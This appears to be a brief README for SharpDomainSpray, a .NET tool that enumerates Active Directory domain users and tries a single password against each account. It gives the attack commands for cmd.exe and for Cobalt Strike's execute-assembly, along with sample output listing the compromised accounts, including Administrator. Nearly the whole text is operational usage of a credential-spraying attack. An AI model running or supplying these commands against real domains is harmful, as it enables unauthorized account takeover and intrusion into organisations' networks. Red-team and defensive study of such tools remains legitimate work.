SharpDomainSpray is a very simple password spraying tool written in .NET. It takes a password then finds users in the domain and attempts to authenticate to the domain with that given password.
cmd.exe
C:\> SharpDomainSpray.exe test12345!
User: Administrator Password is: test12345!
User: TestUser Password is: test12345!
Cobalt Strike
> execute-assembly /path/to/SharpDomainSpray.exe test12345!
User: Administrator Password is: test12345!
User: TestUser Password is: test12345!
Tom Kallo